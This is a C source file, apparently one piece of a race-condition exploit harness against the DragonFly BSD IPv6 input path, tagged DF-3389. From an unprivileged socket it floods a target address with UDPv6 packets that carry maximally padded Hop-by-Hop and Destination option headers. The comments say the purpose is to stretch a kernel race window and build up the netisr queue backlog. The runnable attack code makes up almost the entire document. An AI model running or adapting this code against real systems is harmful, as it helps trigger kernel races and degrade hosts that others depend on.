DF-3389 / stretch.c
/* DF-3389 race harness — window stretcher (unprivileged). * * UDPv6 packets to the raced address carrying a maximally padded * Hop-by-Hop + Destination options header chain (RFC3542 advanced API, * sticky socket options; no privilege required in DragonFly). These * packets get the ia6 tag stored at ip6_input.c:490/536, then spend the * maximum possible time inside ip6_input() parsing extension headers * before the terminal-header defer at ip6_input.c:743-755 — stretching * the capture->enqueue window and deepening the netisr0 queue backlog. * * build: cc -O2 -o stretch stretch.c * run: ./stretch <seconds> [addr] */ #include <sys/types.h> #include <sys/socket.h> #include <sys/time.h> #include <netinet/in.h> #include <netinet/ip6.h> #include <arpa/inet.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> static void fill_opts(unsigned char *buf, int buflen) { int i; /* Pad1 option (type 0) repeated: legal, cheap to build, forces the * kernel to walk the whole option buffer byte-by-byte. */ for (i = 0; i < buflen; i++) buf[i] = 0; } int main(int argc, char **argv) { double dur = argc > 1 ? atof(argv[1]) : 60.0; const char *addr = argc > 2 ? argv[2] : "fd99:3389::1"; struct sockaddr_in6 dst; struct timeval t0, t1; unsigned char hbh[2048], dsto[2048]; unsigned long n = 0, last = 0; double el, lastel = 0; int s, rc; memset(&dst, 0, sizeof(dst)); dst.sin6_family = AF_INET6; dst.sin6_port = htons(33891); if (inet_pton(AF_INET6, addr, &dst.sin6_addr) != 1) { fprintf(stderr, "inet_pton: %s\n", addr); return 1; } /* struct ip6_hbh / ip6_dest: nxt(1) len(1) then options. * len field counts 8-octet units after the first 8: 255 -> 2048B. */ memset(hbh, 0, sizeof(hbh)); hbh[1] = 255; fill_opts(hbh + 2, sizeof(hbh) - 2); memset(dsto, 0, sizeof(dsto)); dsto[1] = 255; fill_opts(dsto + 2, sizeof(dsto) - 2); s = socket(AF_INET6, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); return 1; } rc = setsockopt(s, IPPROTO_IPV6, IPV6_HOPOPTS, hbh, sizeof(hbh)); if (rc < 0) printf("stretch pid=%d HOPOPTS rc=%d errno=%d (%s)\n", getpid(), rc, errno, strerror(errno)); rc = setsockopt(s, IPPROTO_IPV6, IPV6_DSTOPTS, dsto, sizeof(dsto)); if (rc < 0) printf("stretch pid=%d DSTOPTS rc=%d errno=%d (%s)\n", getpid(), rc, errno, strerror(errno)); gettimeofday(&t0, NULL); for (;;) { unsigned char pkt[64]; sendto(s, pkt, sizeof(pkt), 0, (struct sockaddr *)&dst, sizeof(dst)); n++; gettimeofday(&t1, NULL); el = (t1.tv_sec - t0.tv_sec) + (t1.tv_usec - t0.tv_usec) / 1e6; if (el - lastel >= 5.0) { printf("stretch pid=%d rate=%.0f/s total=%lu\n", getpid(), (n - last) / (el - lastel), n); fflush(stdout); last = n; lastel = el; } if (el >= dur) break; } printf("stretch pid=%d DONE total=%lu\n", getpid(), n); return 0; } |